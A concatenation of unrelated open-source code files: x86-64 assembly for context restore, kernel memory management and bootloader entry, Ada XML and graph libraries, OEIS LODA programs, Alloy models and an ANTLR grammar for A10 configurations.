;
; We use shadow space of the caller + additional 8 bytes
; for the IRETQ context. Note that we can use the callers
; shadow space without any worries, because this function
; never returns to the caller.
;
sub rsp, 8
;
; Build iretq context (SS, RSP, RFLAGS, CS, RIP).
;
mov word ptr [rsp + 4 * 8], ss
mov rax, context_t.$rsp[rcx]
mov qword ptr [rsp + 3 * 8], rax
mov rax, context_t.$rflags[rcx]
mov qword ptr [rsp + 2 * 8], rax
mov word ptr [rsp + 1 * 8], cs
mov rax, context_t.$rip[rcx]
mov qword ptr [rsp + 0 * 8], rax
mov rax, context_t.$rax[rcx]
mov rdx, context_t.$rdx[rcx]
mov rbx, context_t.$rbx[rcx]
mov rbp, context_t.$rbp[rcx]
mov rsi, context_t.$rsi[rcx]
mov rdi, context_t.$rdi[rcx]
mov r8 , context_t.$r8 [rcx]
mov r9 , context_t.$r9 [rcx]
mov r10, context_t.$r10[rcx]
mov r11, context_t.$r11[rcx]
mov r12, context_t.$r12[rcx]
mov r13, context_t.$r13[rcx]
mov r14, context_t.$r14[rcx]
mov r15, context_t.$r15[rcx]
;
; Restore RCX at the end.
;
mov rcx, context_t.$rcx[rcx]
iretq
?restore@context_t@ia32@@QEAAXXZ ENDP
END
|
tools/segments_readers.adb
|
svn2github/matreshka
| 24 |
30109
|
<gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Tools Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2009, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Ada.Text_IO;
package body Segments_Readers is
use Ada.Strings.Unbounded;
LDML_Tag : constant String := "ldml";
Identity_Tag : constant String := "identity";
Version_Tag : constant String := "version";
Generation_Tag : constant String := "generation";
Language_Tag : constant String := "language";
Segmentations_Tag : constant String := "segmentations";
Segmentation_Tag : constant String := "segmentation";
Variables_Tag : constant String := "variables";
Variable_Tag : constant String := "variable";
Segment_Rules_Tag : constant String := "segmentRules";
Rule_Tag : constant String := "rule";
Id_Attribute : constant String := "id";
-- function "+" (Right : String) return Unbounded_String
-- renames To_Unbounded_String;
----------------
-- Characters --
----------------
overriding procedure Characters
(Self : in out Segments_Reader;
Ch : Unicode.CES.Byte_Sequence)
is
begin
Append (Self.C, Ch);
end Characters;
-----------------
-- End_Element --
-----------------
overriding procedure End_Element
(Self : in out Segments_Reader;
Namespace_URI : Unicode.CES.Byte_Sequence := "";
Local_Name : Unicode.CES.Byte_Sequence := "";
Qname : Unicode.CES.Byte_Sequence := "")
is
begin
if Local_Name = Variable_Tag
or else Local_Name = Rule_Tag
then
Ada.Text_IO.Put_Line (To_String (Self.C));
end if;
end End_Element;
-------------------
-- Start_Element --
-------------------
overriding procedure Start_Element
(Self : in out Segments_Reader;
Namespace_URI : Unicode.CES.Byte_Sequence := "";
Local_Name : Unicode.CES.Byte_Sequence := "";
Qname : Unicode.CES.Byte_Sequence := "";
Attrs : Sax.Attributes.Attributes'Class)
is
begin
if Local_Name = LDML_Tag then
null;
elsif Local_Name = Identity_Tag then
null;
elsif Local_Name = Version_Tag then
null;
elsif Local_Name = Generation_Tag then
null;
elsif Local_Name = Language_Tag then
null;
elsif Local_Name = Segmentations_Tag then
null;
elsif Local_Name = Segmentation_Tag then
null;
elsif Local_Name = Variables_Tag then
null;
elsif Local_Name = Variable_Tag then
Ada.Text_IO.Put (Attrs.Get_Value (Id_Attribute) & " := ");
Self.C := Null_Unbounded_String;
elsif Local_Name = Segment_Rules_Tag then
null;
elsif Local_Name = Rule_Tag then
Ada.Text_IO.Put (Attrs.Get_Value (Id_Attribute) & " => ");
Self.C := Null_Unbounded_String;
else
Ada.Text_IO.Put_Line (Local_Name);
raise Program_Error;
end if;
end Start_Element;
end Segments_Readers;
|
kernel/memory.asm
|
pixie-grasper/operating-system
| 1 |
27910
|
<reponame>pixie-grasper/operating-system
%ifndef MEMORY_ASM_
%define MEMORY_ASM_
%include "return.asm"
%include "atomic.asm"
memory:
.init:
; first, check already initialized
mov rdi, .initialized
call atomic.trylock
jc return.false
; check size of the installed memory
call .calcsize
; if memory not enough, return
cmp rdi, 2 * 1024 * 1024
jb return.false
; initialize memory map
call .initmap
jmp return.true
; out: di = memory size
.calcsize:
; first, disable caching
mov rax, cr0
push rax
or rax, 0x60000000 ; set CD, NW
mov cr0, rax
; then, check installed
mov rax, 1 << 36 ; 64 GiB
mov rsi, rax
mov rdi, rax
call .check
jnc .calcsize.3
xor rdi, rdi
mov r8, 36 - 3
.calcsize.1:
dec r8
jz .calcsize.3
mov rax, rdi
add rax, rsi
shr rax, 1
call .check
jc .calcsize.2
mov rdi, rax
jmp .calcsize.1
.calcsize.2:
mov rsi, rax
jmp .calcsize.1
.calcsize.3:
; enable caching
pop rax
mov cr0, rax
; save memory size
mov [.size], rdi
ret
; map begins 0x00100000
; note:
; memory size >= 0x00200000
; 0x00100000--0x0010001f: free space
; 0x00100020--0x00100000 + .size / (4096 * 8): memory management area
; in the area, page id = (addr - 0x00100000) * 8 + bit pos [addr]
; page address = id * 4096
; in: di = memory size
.initmap:
mov rcx, rdi
shr rcx, 12 + 3 + 2 ; 1 page 4 KiB per 1 bit = 128 KiB per 1 DWord
mov edi, 0x00100000
mov esi, edi
xor edx, edx
.initmap.1:
mov [edi], edx
add edi, 4
dec ecx
jnz .initmap.1
; map ends edi. set fill flag.
; Incidentally, allocate sequencial buffer for the kernel
mov [global_page_addr], edi
shr edi, 12
add edi, global_page_size ; number of allocate pages
mov eax, edi
and eax, 0x07
shr edi, 3
add edi, esi
not edx
.initmap.2:
mov [esi], edx
add esi, 4
cmp esi, edi
jb .initmap.2
mov ecx, edx
test eax, eax
jz .initmap.4
.initmap.3:
shl ecx, 1
dec eax
jz .initmap.4
jmp .initmap.3
.initmap.4:
not ecx
mov [esi], ecx
ret
; in: a = assuming size of installed memory
.check:
mov rdx, [rax - 8]
mov rcx, rdx
not rdx
mov [rax - 8], rdx
wbinvd
cmp rdx, [rax - 8]
mov [rax - 8], rcx
je return.true
jmp return.false
; out: a = size of installed memory
.getsize:
mov rax, [.size]
ret
; out: a = page address
.newpage:
pushs d, si, di
xor rax, rax
mov edi, [fs:TLS.memory.tablelookahead]
mov esi, edi
.newpage.2:
; try to set a bit
mov eax, [edi]
mov edx, eax
inc edx
jz .newpage.3
or edx, eax
lock cmpxchg [edi], edx
jne .newpage.2
; then, get bit's position
xor eax, edx ; only single bit on
dec eax
popcnt eax, eax
; then, get page address
mov [fs:TLS.memory.tablelookahead], edi
sub edi, 0x00100000 ; least 2 bits are cleared
shl edi, 3 ; make least 5 bits are cleard
add eax, edi ; calc the id,
shl rax, 12 ; and calc the address
pops d, si, di
ret
.newpage.3:
add edi, 4
cmp esi, edi
je return.false
call .getsize
shr rax, 12 + 3
add eax, 0x00100000
cmp edi, eax
jb .newpage.2
mov edi, 0x00100020
jmp .newpage.2
; in: a = page address
.disposepage:
pushs c, d, di
shr rax, 12
mov edi, eax
mov ecx, eax
shr edi, 3
and edi, ~0x03
add edi, 0x00100000
and ecx, 0x1f
mov edx, 1
shl edx, cl
not edx
.disposepage.1:
mov eax, [edi]
mov ecx, eax
and ecx, edx
lock cmpxchg [edi], ecx
jne .disposepage.1
pops c, d, di
ret
; in: a = page address
.zerofill:
pushs a, c, d
xor edx, edx
mov ecx, 4096 / 4
.zerofill.1:
mov [rax], edx
add rax, 4
dec ecx
jnz .zerofill.1
pops a, c, d
ret
.size: dq 0
.initialized: dd 0
%endif
|
oeis/296/A296307.asm
|
neoneye/loda-programs
| 11 |
177804
|
; A296307: Array read by upwards antidiagonals: f(n,k) = (n+1)*ceiling(n/(k-1)) - 1.
; Submitted by <NAME>
; 1,5,1,11,2,1,19,7,2,1,29,9,3,2,1,41,17,9,3,2,1,55,20,11,4,3,2,1,71,31,13,11,4,3,2,1,89,35,23,13,5,4,3,2,1,109,49,26,15,13,5,4,3,2,1,131,54,29,17,15,6,5,4,3,2,1,155,71,43,29,17,15,6,5,4,3,2,1,181,77,47,32,19,17,7,6,5,4,3,2,1,209,97,51,35,21,19,17,7,6
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
add $0,1
add $1,1
div $1,$0
add $2,2
mul $2,$1
mov $0,$2
sub $0,1
|
oeis/142/A142948.asm
|
neoneye/loda-programs
| 11 |
169738
|
<filename>oeis/142/A142948.asm
; A142948: Primes congruent to 51 mod 64.
; Submitted by <NAME>
; 179,307,499,563,691,883,947,1459,1523,1907,2099,2803,3187,3251,3571,4019,4211,4339,4723,4787,5107,5171,5683,5939,6067,6131,6323,6451,6899,7027,7219,7283,7411,7603,8179,8243,8563,8627,8819,9011,9203,9587,9907,10099,10163,10739,10867,11059,11251,11443,11699,11827,12211,12659,12979,13043,13171,13619,14323,14387,14771,15091,15667,15731,15859,15923,16691,16883,17011,17203,17971,18803,19379,19507,19571,19699,19763,19891,20147,21107,21491,21683,22003,22067,22259,22643,22963,23027,23539,23603,24179
mov $2,$0
add $2,2
pow $2,2
lpb $2
mul $1,$4
mov $3,$1
add $3,50
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,64
sub $2,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,13
|
oeis/157/A157367.asm
|
neoneye/loda-programs
| 11 |
432
|
; A157367: a(n) = 4802*n^2 + 196*n + 1.
; 4999,19601,43807,77617,121031,174049,236671,308897,390727,482161,583199,693841,814087,943937,1083391,1232449,1391111,1559377,1737247,1924721,2121799,2328481,2544767,2770657,3006151,3251249,3505951,3770257,4044167,4327681,4620799,4923521,5235847,5557777,5889311,6230449,6581191,6941537,7311487,7691041,8080199,8478961,8887327,9305297,9732871,10170049,10616831,11073217,11539207,12014801,12499999,12994801,13499207,14013217,14536831,15070049,15612871,16165297,16727327,17298961,17880199,18471041
add $0,1
mul $0,196
add $0,4
pow $0,2
sub $0,40000
div $0,784
mul $0,98
add $0,4999
|
build/greens_palette.asm
|
gasman/kisskill
| 2 |
88111
|
<reponame>gasman/kisskill<gh_stars>1-10
db 0, 0, 0, 0, 0, 0, 0, 4, 6, 6, 6, 6, 6, 6, 6, 6
db 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 34, 34, 34, 34
db 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 52, 52, 52, 52, 52
db 52, 52, 52, 52, 52, 52, 112, 54, 54, 116, 116, 116, 116, 116, 116, 116
db 116, 116, 116, 116, 116, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, 117
db 119, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 127, 127, 127
db 127, 127, 127, 127, 127, 127, 127, 126, 126, 126, 126, 126, 126, 126, 126, 126
db 126, 126, 126, 126, 126, 126, 126, 126, 126, 119, 119, 119, 119, 119, 119, 119
db 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 118, 118, 118, 118, 118
db 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 54, 54
db 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 112, 112, 112, 112
db 112, 112, 112, 112, 112, 112, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48
db 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48
db 48, 48, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70
db 70, 70, 70, 70, 70, 70, 70, 6, 6, 6, 6, 6, 6, 6, 6, 6
db 6, 6, 6, 6, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
src/loaders/stivale2/stivale2.nasm
|
Matt8898/TomatBoot-UEFI
| 88 |
26381
|
[BITS 64]
[SECTION .data]
align 16
gdt_ptr:
dw .gdt_end - .gdt_start - 1 ; gdt limit
dq .gdt_start ; gdt base
align 16
.gdt_start:
.null:
dw 0x0000 ; limit low
dw 0x0000 ; base low
db 0x00 ; base mid
dw 00000000b ; flags
db 0x00 ; base high
; 64 bit mode kernel
.kernel_code_64:
dw 0x0000 ; limit low
dw 0x0000 ; base low
db 0x00 ; base mid
dw 0x209A ; flags
db 0x00 ; base high
.kernel_code_32:
dw 0xFFFF ; limit low
dw 0x0000 ; base low
db 0x00 ; base mid
dw 0xCF9A ; flags
db 0x00 ; base high
.kernel_data:
dw 0x0000 ; limit low
dw 0x0000 ; base low
db 0x00 ; base mid
dw 0x92 ; flags
db 0x00 ; base high
.gdt_end:
align 4096
Pml5:
times 512 dq 0
[DEFAULT REL]
[SECTION .text]
[GLOBAL JumpToStivale2Kernel]
JumpToStivale2Kernel:
mov rdi, rcx
mov rsp, rdx
test r9, r9
jne Translate5Level
jmp jump_kernel
Translate5Level:
mov rbx, rdx
push rcx
lgdt [gdt_ptr]
lea rbx, [jump_kernel]
; Jump into the compatibility mode CS
push 0x10
mov rdx, Pml5
lea rax, [.cmp_mode]
push rax
DB 0x48, 0xcb ; retfq
[BITS 32]
.cmp_mode:
; Now in compatibility mode.
mov ax, 0x18
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
; Disable paging
mov eax, cr0
btc eax, 31
mov cr0, eax
; Disable long mode in EFER
mov ecx, 0x0c0000080
rdmsr
btc eax, 8
wrmsr
; Disable PAE
mov eax, cr4
btc eax, 5
mov cr4, eax
mov eax, cr3
; map higher and lower half
or eax, 0b11
mov dword [edx], eax
mov dword [edx + 511 * 8], eax
; enable pae and 5 level paging
mov eax, cr4
bts eax, 5
bts eax, 12
mov cr4, eax
; enable long mode in EFER
mov ecx, 0x0c0000080
rdmsr
bts eax, 8
wrmsr
mov eax, edx
mov cr3, eax
; enable paging
mov eax, cr0
bts eax, 31
mov cr0, eax
; reload cs
push 0x8
push ebx
retf
; jump to the kernel
[BITS 64]
jump_kernel:
push 0
push r8
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
ret
|
test/Fail/UnifyWithIrrelevantArgument.agda
|
cruhland/agda
| 1,989 |
5916
|
-- {-# OPTIONS -v tc.meta:20 #-}
module UnifyWithIrrelevantArgument where
data _≡_ {A : Set}(a : A) : A -> Set where
refl : a ≡ a
fail : (A : Set) ->
let X : .A -> A
X = _
in (x : A) -> X x ≡ x
fail A x = refl
-- error: X cannot depend on its first argument
|
Quiz and Lab Assessment/Solution/2.asm
|
sakibsadmanshajib/CSE331L-Section-1-Fall20-NSU
| 0 |
4546
|
org 100h
Arr DB 10
MOV BX,OFFSET Arr
MOV [BX],1H
MOV [BX+1],1H
MOV DI,2
MOV SI,0H
MOV CX,8
L1:
MOV DX,[BX+SI]
INC SI
ADD DX,[BX+SI]
MOV [BX+DI],DX
INC DI
LOOP L1
ret
|
A01/input1.asm
|
HeptaDecane/SPOSL_SEM6
| 0 |
166473
|
START 200
A DS 2
B ADD AREG =10
LTORG
MULT BREG A
END
|
libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sdcc_iy/ba_priority_queue_top.asm
|
jpoikela/z88dk
| 640 |
23917
|
; int ba_priority_queue_top(ba_priority_queue_t *q)
SECTION code_clib
SECTION code_adt_ba_priority_queue
PUBLIC _ba_priority_queue_top
EXTERN asm_ba_priority_queue_top
_ba_priority_queue_top:
pop af
pop hl
push hl
push af
jp asm_ba_priority_queue_top
|
alloy4fun_models/trainstlt/models/5/iDwWo8GPkaq7oyv8T.als
|
Kaixi26/org.alloytools.alloy
| 0 |
1246
|
open main
pred idiDwWo8GPkaq7oyv8T_prop6 {
always all s : Signal | always (s in Green implies s' not in Green) or
always (s not in Green implies s' in Green)
}
pred __repair { idiDwWo8GPkaq7oyv8T_prop6 }
check __repair { idiDwWo8GPkaq7oyv8T_prop6 <=> prop6o }
|
programs/oeis/330/A330002.asm
|
neoneye/loda
| 22 |
94113
|
; A330002: Beatty sequence for x, where 1/x + 1/(x+1)^2 = 1.
; 1,2,3,4,6,7,8,9,11,12,13,14,16,17,18,19,21,22,23,24,26,27,28,29,31,32,33,34,36,37,38,39,41,42,43,44,46,47,48,49,51,52,53,54,56,57,58,59,61,62,63,64,66,67,68,69,71,72,73,74,76,77,78,79,81,82,83
mul $0,5
div $0,4
add $0,1
|
ada-containers.ads
|
mgrojo/adalib
| 15 |
87
|
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Containers is
pragma Pure (Containers);
type Hash_Type is mod implementation_defined;
type Count_Type is range 0 .. implementation_defined;
Capacity_Error : exception;
end Ada.Containers;
|
projects/batfish/src/main/antlr4/org/batfish/vendor/a10/grammar/A10_common.g4
|
Ashlippers/batfish
| 0 |
512
|
<gh_stars>0
parser grammar A10_common;
options {
tokenVocab = A10Lexer;
}
quoted_text: QUOTED_TEXT;
double_quoted_string: DOUBLE_QUOTE text = quoted_text? DOUBLE_QUOTE;
single_quoted_string: SINGLE_QUOTE text = quoted_text? SINGLE_QUOTE;
word_content: (double_quoted_string | single_quoted_string | WORD)+;
word: WORD_SEPARATOR word_content;
hostname: word;
interface_name_str: word;
route_description: word;
vlan_name: word;
user_tag: word;
ip_prefix: ip_address (subnet_mask | ip_slash_prefix);
ip_address: IP_ADDRESS;
ip_slash_prefix: IP_SLASH_PREFIX;
subnet_mask: SUBNET_MASK;
null_rest_of_line: ~NEWLINE* NEWLINE;
// 2-4094
vlan_number: uint16;
// 1-40? assuming 40 is max for now
ethernet_number: uint8;
// 0-10
loopback_number: uint8;
// 2-8
ports_threshold: uint8;
// 1-300
ports_threshold_timer: uint16;
// 1-4096
trunk_number: uint16;
uint8: UINT8;
uint16: UINT8 | UINT16;
uint32: UINT8 | UINT16 | UINT32;
|
courses/fundamentals_of_ada/labs/prompts/160_genericity/generic_list-output.adb
|
AdaCore/training_material
| 15 |
12601
|
<gh_stars>10-100
with Ada.Text_IO; use Ada.Text_IO;
package body Generic_List.Output is
procedure Print (List : List_T) is
begin
null;
end Print;
end Generic_List.Output;
|
alloy4fun_models/trainstlt/models/0/CLhKrJSKHDzZYxTuf.als
|
Kaixi26/org.alloytools.alloy
| 0 |
4619
|
<gh_stars>0
open main
pred idCLhKrJSKHDzZYxTuf_prop1 {
once (all t:Track | Green in t.signal implies (before Green not in t.signal))
}
pred __repair { idCLhKrJSKHDzZYxTuf_prop1 }
check __repair { idCLhKrJSKHDzZYxTuf_prop1 <=> prop1o }
|
scripts/quit-simulator.scpt
|
kattrali/redcar-rubymotion
| 3 |
1769
|
<reponame>kattrali/redcar-rubymotion<filename>scripts/quit-simulator.scpt<gh_stars>1-10
tell application "iPhone Simulator"
quit
end tell
|
libsrc/_DEVELOPMENT/fcntl/c/sdcc_iy/_exit.asm
|
meesokim/z88dk
| 0 |
98381
|
; _Noreturn void _exit(int status)
SECTION code_fcntl
PUBLIC __exit
EXTERN __exit_fastcall
__exit:
pop hl
pop hl
jp __exit_fastcall
|
.emacs.d/elpa/wisi-2.1.1/sal-gen_graphs.adb
|
caqg/linux-home
| 0 |
25219
|
-- Abstract :
--
-- See spec.
--
-- Copyright (C) 2017, 2019 Free Software Foundation All Rights Reserved.
--
-- This library is free software; you can redistribute it and/or modify it
-- under terms of the GNU General Public License as published by the Free
-- Software Foundation; either version 3, or (at your option) any later
-- version. This library is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN-
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-- As a special exception under Section 7 of GPL version 3, you are granted
-- additional permissions described in the GCC Runtime Library Exception,
-- version 3.1, as published by the Free Software Foundation.
pragma License (Modified_GPL);
with Ada.Strings.Unbounded;
with Ada.Text_IO;
with SAL.Gen_Bounded_Definite_Queues;
with SAL.Gen_Unbounded_Definite_Stacks;
package body SAL.Gen_Graphs is
package Vertex_Queues is new SAL.Gen_Bounded_Definite_Queues (Vertex_Index);
package Vertex_Stacks is new SAL.Gen_Unbounded_Definite_Stacks (Vertex_Index);
function Find (Data : in Edge_Data; List : in Edge_Node_Lists.List) return Edge_Node_Lists.Cursor
is begin
for I in List.Iterate loop
if Edge_Node_Lists.Element (I).Data = Data then
return I;
end if;
end loop;
return Edge_Node_Lists.No_Element;
end Find;
----------
-- Visible subprograms
procedure Add_Edge
(Graph : in out Gen_Graphs.Graph;
Vertex_A : in Vertex_Index;
Vertex_B : in Vertex_Index;
Data : in Edge_Data)
is
Multigraph : Boolean := False;
procedure Update_First_Last (Vertex : in Vertex_Index)
is
use all type Ada.Containers.Count_Type;
begin
if Graph.Vertices.Length = 0 then
Graph.Vertices.Set_First_Last (Vertex, Vertex);
else
if Vertex < Graph.Vertices.First_Index then
Graph.Vertices.Set_First (Vertex);
end if;
if Vertex > Graph.Vertices.Last_Index then
Graph.Vertices.Set_Last (Vertex);
end if;
end if;
end Update_First_Last;
begin
Update_First_Last (Vertex_A);
Update_First_Last (Vertex_B);
Graph.Last_Edge_ID := Graph.Last_Edge_ID + 1;
if (for some E of Graph.Vertices (Vertex_A) => E.Vertex_B = Vertex_B) then
Multigraph := True;
Graph.Multigraph := True;
end if;
Graph.Vertices (Vertex_A).Append ((Graph.Last_Edge_ID, Vertex_B, Multigraph, Data));
end Add_Edge;
function Count_Nodes (Graph : in Gen_Graphs.Graph) return Ada.Containers.Count_Type
is begin
return Graph.Vertices.Length;
end Count_Nodes;
function Count_Edges (Graph : in Gen_Graphs.Graph) return Ada.Containers.Count_Type
is
use Ada.Containers;
Result : Count_Type := 0;
begin
for Edges of Graph.Vertices loop
Result := Result + Edges.Length;
end loop;
return Result;
end Count_Edges;
function Multigraph (Graph : in Gen_Graphs.Graph) return Boolean
is begin
return Graph.Multigraph;
end Multigraph;
function "+" (Right : in Edge_Item) return Edge_Lists.List
is
use Edge_Lists;
begin
return Result : List do
Append (Result, Right);
end return;
end "+";
function Edges (Graph : in Gen_Graphs.Graph; Vertex : in Vertex_Index) return Edge_Lists.List
is begin
return Result : Edge_Lists.List do
for E of Graph.Vertices (Vertex) loop
Result.Append ((E.ID, E.Data));
end loop;
end return;
end Edges;
function Image (Item : in Path) return String
is
use Ada.Strings.Unbounded;
Result : Unbounded_String := To_Unbounded_String ("(");
begin
for I in Item'Range loop
Result := Result & Trimmed_Image (Item (I).Vertex) & " " &
Image ((if I = Item'Last then Item (Item'First).Edges else Item (I + 1).Edges)) & " -> ";
end loop;
Result := Result & ")";
return To_String (Result);
end Image;
function "<" (Left, Right : in Path) return Boolean
is begin
for I in Left'Range loop
if I > Right'Last then
return False;
elsif Left (I).Vertex < Right (I).Vertex then
return True;
elsif Left (I).Vertex > Right (I).Vertex then
return False;
else
-- =; check remaining elements
null;
end if;
end loop;
if Left'Last < Right'Last then
return True;
else
-- All =
return False;
end if;
end "<";
function Find_Paths
(Graph : in out Gen_Graphs.Graph;
From : in Vertex_Index;
To : in Edge_Data)
return Path_Arrays.Vector
is
Vertex_Queue : Vertex_Queues.Queue_Type
(Size => Integer (Graph.Vertices.Last_Index - Graph.Vertices.First_Index + 1));
type Colors is (White, Gray, Black);
type Aux_Node is record
Color : Colors := Colors'First;
D : Natural := Natural'Last;
Parent : Vertex_Index'Base := Invalid_Vertex;
Parent_Set : Boolean := False;
Parent_Edge : Edge_Node_Lists.Cursor := Edge_Node_Lists.No_Element;
end record;
package Aux_Arrays is new SAL.Gen_Unbounded_Definite_Vectors (Vertex_Index, Aux_Node, (others => <>));
Aux : Aux_Arrays.Vector;
function Build_Path
(Tail_Vertex : in Vertex_Index;
Tail_Edge : in Edge_Node_Lists.Cursor)
return Path
is
begin
return Result : Path (1 .. Aux (Tail_Vertex).D + 1)
do
declare
use Edge_Node_Lists;
V_Index : Vertex_Index := Tail_Vertex;
Last_Edge : Cursor := Tail_Edge;
begin
for I in reverse 1 .. Result'Length loop
declare
V : Aux_Node renames Aux (V_Index);
begin
if Last_Edge = No_Element then
Result (I) := (V_Index, Edge_Lists.Empty_List);
else
Result (I) := (V_Index, +(Element (Last_Edge).ID, Element (Last_Edge).Data));
end if;
if V.Parent_Set then
Last_Edge := V.Parent_Edge;
V_Index := V.Parent;
end if;
end;
end loop;
end;
end return;
end Build_Path;
Result_List : Path_Arrays.Vector;
Result_Edge : Edge_Node_Lists.Cursor;
begin
-- [1] figure 22.3 breadth-first search; 'From' = s.
Aux.Set_First_Last (Graph.Vertices.First_Index, Graph.Vertices.Last_Index);
for I in Aux.First_Index .. Aux.Last_Index loop
if I = From then
Aux (I).Color := Gray;
Aux (I).D := 0;
Aux (I).Parent_Set := False;
else
Aux (I).Color := White;
Aux (I).D := Natural'Last;
Aux (I).Parent_Set := False;
end if;
end loop;
Vertex_Queue.Put (From);
while not Vertex_Queue.Is_Empty loop
declare
U_Index : constant Vertex_Index := Vertex_Queue.Get;
U : Aux_Node renames Aux (U_Index);
begin
Edges :
for C in Graph.Vertices (U_Index).Iterate loop
declare
use all type Edge_Node_Lists.Cursor;
V_Index : constant Vertex_Index := Edge_Node_Lists.Element (C).Vertex_B;
V : Aux_Node renames Aux (V_Index);
begin
if V.Color = White then
V.Color := Gray;
V.D := U.D + 1;
V.Parent := U_Index;
V.Parent_Edge := C;
V.Parent_Set := True;
Result_Edge := Find (To, Graph.Vertices (V_Index));
if Result_Edge /= Edge_Node_Lists.No_Element then
Result_List.Append (Build_Path (V_Index, Result_Edge));
end if;
Vertex_Queue.Put (V_Index);
end if;
end;
end loop Edges;
U.Color := Black;
end;
end loop;
return Result_List;
end Find_Paths;
function Find_Cycles_Tiernan (Graph : in Gen_Graphs.Graph)
return Path_Arrays.Vector
is
-- Implements [2] "Algorithm EC"
--
-- vertex 0 = Invalid_Vertex
-- vertex 1 = Graph.Vertices.First_Index
-- vertex N = Graph.Vertices.Last_Index
First : Vertex_Index renames Graph.Vertices.First_Index;
Last : Vertex_Index renames Graph.Vertices.Last_Index;
G : Vertex_Arrays.Vector renames Graph.Vertices;
P : Path (1 .. Integer (Last - First + 1));
K : Positive := 1; -- ie P_Last
type H_Row is array (G.First_Index .. G.Last_Index) of Vertex_Index'Base;
H : array (G.First_Index .. G.Last_Index) of H_Row := (others => (others => Invalid_Vertex));
Next_Vertex_Found : Boolean;
Result : Path_Arrays.Vector;
function Contains (P : in Path; V : in Vertex_Index) return Boolean
is (for some N of P => N.Vertex = V);
function Contains (Row : in H_Row; V : in Vertex_Index) return Boolean
is (for some N of Row => N = V);
function Contains (Edges : in Edge_Lists.List; ID : in Edge_ID) return Boolean
is (for some E of Edges => E.ID = ID);
procedure Add_Alternate_Edges (P : in out Path)
is
function Dec (I : in Positive) return Positive
is (if I = P'First then P'Last else I - 1);
begin
for I in P'Range loop
for New_Edge of G (P (Dec (I)).Vertex) loop
if New_Edge.Vertex_B = P (I).Vertex and (not Contains (P (I).Edges, New_Edge.ID)) then
P (I).Edges.Append ((New_Edge.ID, New_Edge.Data));
end if;
end loop;
end loop;
end Add_Alternate_Edges;
begin
P (1) := (First, Edge_Lists.Empty_List);
All_Initial_Vertices :
loop
Explore_Vertex :
loop
Path_Extension :
loop -- EC2 Path Extension
Next_Vertex_Found := False;
Find_Next_Vertex :
for Edge of G (P (K).Vertex) loop
declare
Next_Vertex : constant Vertex_Index := Edge.Vertex_B; -- ie G[P[k],j]
begin
if Next_Vertex > P (1).Vertex and -- (1)
(not Contains (P, Next_Vertex)) and -- (2)
(not Contains (H (P (K).Vertex), Next_Vertex))
then
K := K + 1;
P (K) := (Next_Vertex, +(Edge.ID, Edge.Data));
Next_Vertex_Found := True;
exit Find_Next_Vertex;
end if;
end;
